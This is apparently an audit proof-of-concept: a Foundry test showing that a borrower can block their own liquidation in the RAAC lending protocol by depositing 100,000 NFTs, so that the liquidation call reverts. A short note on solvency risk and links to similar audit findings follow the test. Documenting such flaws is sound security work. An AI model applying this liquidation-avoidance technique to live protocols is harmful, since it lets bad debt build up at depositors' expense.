pragma solidity ^0.8.19;
import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {StabilityPool} from "../../contracts/core/pools/StabilityPool/StabilityPool.sol";
import {crvUSDToken} from "../../contracts/mocks/core/tokens/crvUSDToken.sol";
import {RAACToken} from "../../contracts/core/tokens/RAACToken.sol";
import {RAACHousePrices} from "../../contracts/core/primitives/RAACHousePrices.sol";
import {RAACNFT} from "../../contracts/core/tokens/RAACNFT.sol";
import {RToken} from "../../contracts/core/tokens/RToken.sol";
import {DebtToken} from "../../contracts/core/tokens/DebtToken.sol";
import {DEToken} from "../../contracts/core/tokens/DEToken.sol";
import {LendingPool} from "../../contracts/core/pools/LendingPool/LendingPool.sol";
import {RAACMinter, IRAACMinter} from "../../contracts/core/minters/RAACMinter/RAACMinter.sol";
import {PercentageMath} from "../../contracts/libraries/math/PercentageMath.sol";
import {ILendingPool} from "../../contracts/interfaces/core/pools/LendingPool/ILendingPool.sol";
import {IStabilityPool} from "../../contracts/interfaces/core/pools/StabilityPool/IStabilityPool.sol";
import {WadRayMath} from "../../contracts/libraries/math/WadRayMath.sol";
import {stdError} from "forge-std/StdError.sol";
contract FoundryTest is Test {
using PercentageMath for uint256;
using WadRayMath for uint256;
StabilityPool public stabilityPool;
LendingPool public lendingPool;
RAACMinter public raacMinter;
crvUSDToken public crvusd;
RToken public rToken;
DEToken public deToken;
RAACToken public raacToken;
RAACNFT public raacNFT;
DebtToken public debtToken;
RAACHousePrices public raacHousePrices;
address public owner;
address public user1;
address public user2;
address public user3;
address public treasury;
uint256 public constant INITIAL_BALANCE = 1000e18;
uint256 public constant INITIAL_PRIME_RATE = 1e27;
uint256 constant INITIAL_BATCH_SIZE = 3;
uint256 constant HOUSE_PRICE = 100e18;
uint256 constant TOKEN_ID = 1;
function setUp() public {
owner = address(this);
user1 = makeAddr("user1");
user2 = makeAddr("user2");
user3 = makeAddr("user3");
treasury = makeAddr("treasury");
crvusd = new crvUSDToken(owner);
crvusd.setMinter(owner);
raacToken = new RAACToken(owner, 100, 50);
raacHousePrices = new RAACHousePrices(owner);
raacHousePrices.setOracle(owner);
raacHousePrices.setHousePrice(TOKEN_ID, HOUSE_PRICE);
raacNFT = new RAACNFT(address(crvusd), address(raacHousePrices), owner);
rToken = new RToken("RToken", "RToken", owner, address(crvusd));
debtToken = new DebtToken("DebtToken", "DT", owner);
deToken = new DEToken("DEToken", "DEToken", owner, address(rToken));
lendingPool = new LendingPool(
address(crvusd),
address(rToken),
address(debtToken),
address(raacNFT),
address(raacHousePrices),
INITIAL_PRIME_RATE
);
stabilityPool = new StabilityPool(owner);
vm.warp(block.timestamp + 2 days);
raacMinter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), owner);
lendingPool.setStabilityPool(address(stabilityPool));
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
deToken.transferOwnership(address(stabilityPool));
stabilityPool.initialize(
address(rToken),
address(deToken),
address(raacToken),
address(raacMinter),
address(crvusd),
address(lendingPool)
);
raacToken.setMinter(address(raacMinter));
raacToken.manageWhitelist(address(stabilityPool), true);
_setupInitialBalancesAndAllowances();
}
function test_LiquidateDenialOfService() public {
address borrower = makeAddr("borrower");
uint256 NFT_COUNT = 100000;
uint256 CHUNK_SIZE = 100;
uint256 newHousePrice = 1e18;
vm.pauseGasMetering();
for (uint256 i = 0; i < NFT_COUNT; i++) {
raacHousePrices.setHousePrice(TOKEN_ID + i, newHousePrice);
}
crvusd.mint(borrower, newHousePrice * NFT_COUNT);
assertEq(crvusd.balanceOf(borrower), newHousePrice * NFT_COUNT);
crvusd.mint(address(user1), newHousePrice * NFT_COUNT);
vm.startPrank(user1);
crvusd.approve(address(lendingPool), newHousePrice * NFT_COUNT);
lendingPool.deposit(newHousePrice * NFT_COUNT);
vm.stopPrank();
vm.startPrank(borrower);
crvusd.approve(address(raacNFT), newHousePrice * NFT_COUNT);
for (uint256 chunk = 0; chunk < NFT_COUNT; chunk += CHUNK_SIZE) {
uint256 endIndex = chunk + CHUNK_SIZE;
if (endIndex > NFT_COUNT) {
endIndex = NFT_COUNT;
}
for (uint256 i = chunk; i < endIndex; i++) {
raacNFT.mint(TOKEN_ID + i, newHousePrice);
raacNFT.approve(address(lendingPool), TOKEN_ID + i);
lendingPool.depositNFT(TOKEN_ID + i);
}
}
vm.resumeGasMetering();
assertEq(raacNFT.balanceOf(address(lendingPool)), NFT_COUNT);
lendingPool.borrow(newHousePrice * NFT_COUNT);
vm.stopPrank();
lendingPool.initiateLiquidation(borrower);
assertEq(lendingPool.isUnderLiquidation(borrower), true);
vm.warp(lendingPool.liquidationStartTime(borrower) + lendingPool.liquidationGracePeriod() + 1 seconds);
crvusd.mint(address(stabilityPool), type(uint128).max);
vm.expectRevert(bytes(""));
stabilityPool.liquidateBorrower(borrower);
}
function _setupInitialBalancesAndAllowances() internal {
crvusd.mint(user1, INITIAL_BALANCE);
crvusd.mint(user2, INITIAL_BALANCE);
crvusd.mint(user3, INITIAL_BALANCE);
vm.startPrank(user1);
crvusd.approve(address(lendingPool), type(uint256).max);
lendingPool.deposit(INITIAL_BALANCE);
rToken.approve(address(stabilityPool), type(uint256).max);
vm.stopPrank();
vm.startPrank(user2);
crvusd.approve(address(lendingPool), type(uint256).max);
lendingPool.deposit(INITIAL_BALANCE);
rToken.approve(address(stabilityPool), type(uint256).max);
vm.stopPrank();
vm.startPrank(user3);
crvusd.approve(address(lendingPool), type(uint256).max);
lendingPool.deposit(INITIAL_BALANCE);
rToken.approve(address(stabilityPool), type(uint256).max);
vm.stopPrank();
}
}
If an attacker can permanently cause liquidations to revert or prevent themselves from being liquidated, this represents a critical danger to the solvency of many protocols as it allows bad debt to build up in the system. Several known attack paths have been found in audits of real-world protocols:
(1.)[https://solodit.cyfrin.io/issues/m-01-borrower-can-abuse-entermarkets-to-force-liquidator-can-pay-more-funds-code4rena-beta-finance-beta-finance-git]
(2.)[https://solodit.cyfrin.io/issues/liquidation-can-be-avoided-due-to-unbounded-position-list-openzeppelin-none-panoptic-audit-markdown]
(3.)[https://solodit.cyfrin.io/issues/m-03-potential-avoidance-of-liquidation-pashov-audit-group-none-sharwafinance-markdown]
(4.)[https://solodit.cyfrin.io/issues/m-05-possible-dos-when-calling-gammatrademarket_removeposition-will-cause-user-position-to-not-be-able-to-get-liquidated-code4rena-predy-predy-git]